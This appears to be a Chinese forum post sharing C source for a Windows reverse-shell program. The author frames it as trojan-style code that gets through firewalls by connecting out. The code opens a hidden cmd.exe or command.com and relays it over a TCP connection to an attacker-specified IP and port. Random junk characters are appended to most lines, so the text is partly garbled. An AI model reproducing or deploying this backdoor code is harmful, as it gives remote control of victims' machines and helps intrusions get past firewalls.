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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <k<  
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/* ============================== h7*fjw-Xz[  
Rebound port in Windows NT g%9I+(?t  
By wind,2006/7 \n:'>:0X!  
===============================*/ q'c'rN^  
#include O]^E%;(]}i  
#include (hd2&mSy  
9.1%T06$  
#pragma comment(lib,"wsock32.lib") fS!%qr  
#\t?`\L3  
void OutputShell(); RUO,tB|(_;  
SOCKET sClient; 6I_W4`<VeZ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dk{yx(Ty  
->K*r\T  
void main(int argc,char **argv) `;QpPSw+  
{ |3"'>* J  
WSADATA stWsaData; BhdJ/C^  
int nRet; mQJRq??P  
SOCKADDR_IN stSaiClient,stSaiServer; a8Ci 7<V  
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if(argc != 3) g<}K^)x  
{ uWi+F)GS^K  
printf("Useage:\n\rRebound DestIP DestPort\n"); =<a`G3SY!  
return; W~dS8B=<  
} j6IWdqXe  
Et`z7Q*e  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;t"#7\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =3/||b4c  
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stSaiClient.sin_family = AF_INET; ^U:pv0Qz  
stSaiClient.sin_port = htons(0); ur*1I/v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jk 9K>4W  
B{c,/{=O  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3{]i|1&j  
{ oD~VK,.  
printf("Bind Socket Failed!\n"); >,32~C  
return; qrm~=yU%  
} mpXc o *!_  
}2V|B4  
stSaiServer.sin_family = AF_INET; 3x 'BMAA+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *Swb40L^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &W`yHQ"JY  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GaM#a[p  
{ DghX(rs_  
printf("Connect Error!"); rDUNA@r  
return; e~nmIy  
} 'S@C,x%2,  
OutputShell(); Qmzj1e$6x  
} 65s|gfu/  
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void OutputShell() J%3S3C2*m  
{ tC-(GDGy5  
char szBuff[1024]; _YO` x  
SECURITY_ATTRIBUTES stSecurityAttributes; . (Q;EF`_U  
OSVERSIONINFO stOsversionInfo; J<u,Y= -~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e l7P  
STARTUPINFO stStartupInfo; 6D3fkvc Z  
char *szShell; TQ>kmHWf/  
PROCESS_INFORMATION stProcessInformation; f}  eZX  
unsigned long lBytesRead; }|{yd03 +  
Uhb6{'+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); QfT&y &  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pmIQD"  
stSecurityAttributes.lpSecurityDescriptor = 0; FeLWQn/aV6  
stSecurityAttributes.bInheritHandle = TRUE; 9(ANhG  
##1[/D(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Vk@u|6U'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WR gAc%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kJHUaXM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5NBc8h7 V  
stStartupInfo.wShowWindow = SW_HIDE; Fu{[5uv  
stStartupInfo.hStdInput = hReadPipe; { S4?L8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r?[PIf  
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GetVersionEx(&stOsversionInfo); q ( H^H  
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switch(stOsversionInfo.dwPlatformId) ~U ?cL-`n  
{ 'zi5ihiT  
case 1: &tHT6,Xv(  
szShell = "command.com"; "2N3L8?k  
break; VO#]IXaP  
default: K=+w,H# `C  
szShell = "cmd.exe"; GkaIqBS  
break; 2O`uzT$  
} SYeCz(H>d  
1MX:^L!f8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zrD$loaW.'  
_"##p  
send(sClient,szMsg,77,0); gWv/3hWWB  
while(1) @H1pPr  
{ jYO@ %bQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o @~XX@5l  
if(lBytesRead) I zM=?,`  
{ F+*: >@3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n]6xrsE  
send(sClient,szBuff,lBytesRead,0); }!lLA4XRr  
} [$OD+@~A2  
else vC&y:XMt,`  
{ nPR_:_^  
lBytesRead=recv(sClient,szBuff,1024,0); <P(d%XEl  
if(lBytesRead<=0) break; cC&R~h]|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DZRk K3  
} HiILJyb  
} Xv9kJ  
| z$ba:u5  
return; 9%> H}7=  
}
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